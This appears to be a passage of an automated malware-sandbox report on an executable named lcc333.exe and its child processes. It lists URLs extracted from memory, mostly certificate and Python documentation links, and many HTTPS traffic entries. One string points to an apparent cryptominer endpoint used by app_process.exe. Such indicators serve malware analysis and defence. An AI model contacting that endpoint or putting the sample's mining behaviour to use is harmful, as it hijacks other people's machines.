Source: lcc333.exe, 00000000.00000003.2106050470.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000000.00000003.2107522956.000002172D7E1000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000000.00000003.2104927615.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000000.00000003.2107522956.000002172D7EE000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000000.00000003.2105823533.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000000.00000002.2526845850.000002172D7EE000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000000.00000003.2105914516.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000000.00000003.2111135941.000002172D7E1000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000000.00000003.2105068052.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000000.00000003.2111291391.000002172D7E1000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000000.00000003.2105424268.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000000.00000003.2105250934.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000000.00000003.2109870127.000002172D7E1000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000000.00000003.2108629944.000002172D7E1000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: lcc333.exe, 00000000.00000003.2106050470.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000000.00000003.2107522956.000002172D7E1000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000000.00000003.2104927615.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000000.00000003.2105823533.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000000.00000003.2105914516.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000000.00000003.2111135941.000002172D7E1000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000000.00000003.2105068052.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000000.00000003.2111291391.000002172D7E1000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000000.00000003.2105424268.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000000.00000003.2105250934.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000000.00000003.2109870127.000002172D7E1000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000000.00000003.2108629944.000002172D7E1000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: lcc333.exe, 00000002.00000003.2134241371.000002B936A46000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2495042069.000002B936895000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2135546245.000002B93688F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://repository.swisssign.com/
Source: lcc333.exe, 00000002.00000003.2134241371.000002B936A46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://repository.swisssign.com/E%
Source: lcc333.exe, 00000002.00000003.2134241371.000002B936A46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl
Source: lcc333.exe, 00000002.00000003.2135431182.000002B936530000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2503747221.000002B93652D000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2487940110.000002B936530000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2508896833.000002B93652D000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2502372429.000002B93652D000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2504780607.000002B93652D000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2509903410.000002B93652D000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2507493476.000002B93652D000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2506032098.000002B93652D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.cert.fnmt.es/dpcs/
Source: lcc333.exe, 00000002.00000003.2135431182.000002B936530000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2503747221.000002B93652D000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2487940110.000002B936530000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2508896833.000002B93652D000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2502372429.000002B93652D000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2504780607.000002B93652D000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2509903410.000002B93652D000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2507493476.000002B93652D000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2506032098.000002B93652D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.cert.fnmt.es/dpcs/w
Source: lcc333.exe, 00000000.00000003.2106050470.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000000.00000003.2104927615.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000000.00000003.2107522956.000002172D7EE000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000000.00000003.2105823533.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000000.00000003.2105914516.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000000.00000003.2111135941.000002172D7E1000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000000.00000003.2105068052.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000000.00000003.2111291391.000002172D7E1000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000000.00000003.2105424268.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000000.00000003.2105250934.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000000.00000003.2109870127.000002172D7E1000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000000.00000003.2107522956.000002172D7E8000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000000.00000003.2108629944.000002172D7E1000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: lcc333.exe, 00000002.00000003.2134241371.000002B936A46000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2495042069.000002B936895000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2135546245.000002B93688F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.firmaprofesional.com/cps0
Source: lcc333.exe, 00000002.00000003.2116595640.000002B936532000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2135431182.000002B936530000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2503747221.000002B93652D000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2487940110.000002B936530000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2508896833.000002B93652D000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2502372429.000002B93652D000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2504780607.000002B93652D000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2509903410.000002B93652D000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2507493476.000002B93652D000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2506032098.000002B93652D000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2117759859.000002B936540000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6
Source: lcc333.exe, 00000002.00000003.2134241371.000002B936A46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadisglobal.com/cps0
Source: lcc333.exe, 00000002.00000003.2494404862.000002B93656D000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2135259032.000002B93656D000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2134746911.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2135259032.000002B9364F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://wwwsearch.sf.net/):
Source: lcc333.exe, 00000002.00000003.2113514834.000002B935FD1000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2113562718.000002B935FA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/howto/mro.html.
Source: lcc333.exe, 00000002.00000003.2112428462.000002B935FA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.ExecutionLoader.get_filename
Source: lcc333.exe, 00000002.00000003.2112428462.000002B935FA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_code
Source: lcc333.exe, 00000002.00000003.2112428462.000002B935FA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_source
Source: lcc333.exe, 00000002.00000003.2112428462.000002B935FA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.is_package
Source: lcc333.exe, 00000002.00000003.2112428462.000002B935FA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.create_module
Source: lcc333.exe, 00000002.00000003.2112428462.000002B935FA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.exec_module
Source: lcc333.exe, 00000002.00000003.2112428462.000002B935FA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.MetaPathFinder.invalidate_caches
Source: lcc333.exe, 00000002.00000003.2112428462.000002B935FA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.PathEntryFinder.find_spec
Source: lcc333.exe, 00000002.00000003.2112428462.000002B935FA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.ResourceLoader.get_data
Source: app_process.exe, 00000023.00000000.3345847859.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: app_process.exe, 00000023.00000000.3345847859.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp	String found in binary or memory: https://ec1ipse.me/miner/rewardspubkey
Source: lcc333.exe, 00000002.00000003.2112428462.000002B935FA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy
Source: lcc333.exe, 00000002.00000003.2490746401.000002B937101000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2492199056.000002B93790A000.00000004.00000020.00020000.00000000.sdmp, app_process.exe, 00000012.00000002.3348387189.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000012.00000000.2525092693.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000016.00000002.3347236766.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000016.00000000.2527968271.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000020.00000002.3357087112.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000020.00000000.3341938213.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000023.00000002.3357025814.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000023.00000000.3345847859.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp	String found in binary or memory: https://github.com/clap-rs/clap/issues
Source: lcc333.exe, 00000002.00000003.2490746401.000002B937101000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2492199056.000002B93790A000.00000004.00000020.00020000.00000000.sdmp, app_process.exe, 00000012.00000002.3348387189.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000012.00000000.2525092693.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000016.00000002.3347236766.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000016.00000000.2527968271.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000020.00000002.3357087112.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000020.00000000.3341938213.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000023.00000002.3357025814.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp, app_process.exe, 00000023.00000000.3345847859.00007FF791E50000.00000002.00000001.01000000.00000014.sdmp	String found in binary or memory: https://github.com/clap-rs/clap/issuesI
Source: lcc333.exe, 00000002.00000003.2112428462.000002B935FA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688
Source: lcc333.exe, 00000002.00000003.2112428462.000002B935FA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py
Source: lcc333.exe, 00000002.00000003.2112428462.000002B935FA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader
Source: lcc333.exe, 00000002.00000003.2114575582.000002B936420000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2114470386.000002B936424000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2114575582.000002B93643B000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2114530243.000002B93640F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/issues/86361.
Source: lcc333.exe, 00000002.00000003.2112428462.000002B935FA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#
Source: lcc333.exe, 00000002.00000003.2134746911.000002B936501000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2506032098.000002B9364FE000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2507260668.000002B9364FE000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2503747221.000002B936500000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2497811471.000002B936501000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2503555040.000002B9364FE000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2116935879.000002B936501000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2487940110.000002B9364F9000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2504780607.000002B936500000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2510203246.000002B936501000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2508332077.000002B9364FE000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2494404862.000002B936501000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2506384017.000002B936500000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2117407036.000002B93688E000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2508896833.000002B936500000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2502634893.000002B936500000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2117323517.000002B936502000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2507493476.000002B936500000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2488372313.000002B9364FF000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2504565907.000002B9364FE000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2502372429.000002B9364FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2513#issuecomment-1152559900.
Source: lcc333.exe, 00000002.00000003.2495042069.000002B936895000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2135546245.000002B93688F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: lcc333.exe, 00000002.00000003.2495042069.000002B936895000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2135546245.000002B93688F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://google.com/mail
Source: lcc333.exe, 00000002.00000003.2494404862.000002B93656D000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2117759859.000002B93656F000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2116595640.000002B93656F000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2135259032.000002B93656D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://html.spec.whatwg.org/multipage/
Source: lcc333.exe, 00000002.00000003.2506032098.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2492097568.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2487940110.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2134746911.000002B936501000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2506032098.000002B9364FE000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2494404862.000002B93656D000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2507260668.000002B9364FE000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2501237397.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2489080766.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2497982911.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2503747221.000002B936500000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2508332077.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2502372429.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2511481302.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2499854920.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2497811471.000002B936501000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2135259032.000002B93656D000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2490430465.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2503555040.000002B9364FE000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2487940110.000002B9364F9000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2504780607.000002B936500000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/get
Source: lcc333.exe, 00000002.00000003.2135546245.000002B93688F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://json.org
Source: lcc333.exe, 00000002.00000003.2116935879.000002B9364D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#https-proxy-error-http-proxy
Source: nircmd.exe, nircmd.exe, 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 0000000F.00000000.2523657662.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000015.00000002.2528526092.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000015.00000000.2526970311.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 0000001F.00000000.3340727157.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 0000001F.00000002.3344008939.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000022.00000000.3344394477.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000022.00000002.3347749954.0000000140017000.00000002.00000001.01000000.00000013.sdmp	String found in binary or memory: https://www.nirsoft.net
Source: nircmd.exe, 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 0000000F.00000000.2523657662.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000015.00000002.2528526092.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000015.00000000.2526970311.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 0000001F.00000000.3340727157.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 0000001F.00000002.3344008939.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000022.00000000.3344394477.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000022.00000002.3347749954.0000000140017000.00000002.00000001.01000000.00000013.sdmp	String found in binary or memory: https://www.nirsoft.netopenIf
Source: lcc333.exe, 00000000.00000003.2108629944.000002172D7E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.openssl.org/H
Source: lcc333.exe, 00000002.00000003.2506032098.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2492097568.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2487940110.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2501237397.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2489080766.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2497982911.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2508332077.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2502372429.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2511481302.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2499854920.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2490430465.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2116935879.000002B9364D8000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2504565907.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2498834017.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2489759927.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2134746911.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2513385112.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2503555040.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2500583694.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2507260668.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2491313804.000002B9364BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.rfc-editor.org/rfc/rfc8259#section-8.1
Source: lcc333.exe, 00000002.00000003.2507043255.000002B936936000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2134241371.000002B936936000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wwww.certigna.fr/autorites/0m
Source: lcc333.exe, 00000002.00000003.2495042069.000002B936895000.00000004.00000020.00020000.00000000.sdmp, lcc333.exe, 00000002.00000003.2135546245.000002B93688F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://yahoo.com/

Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
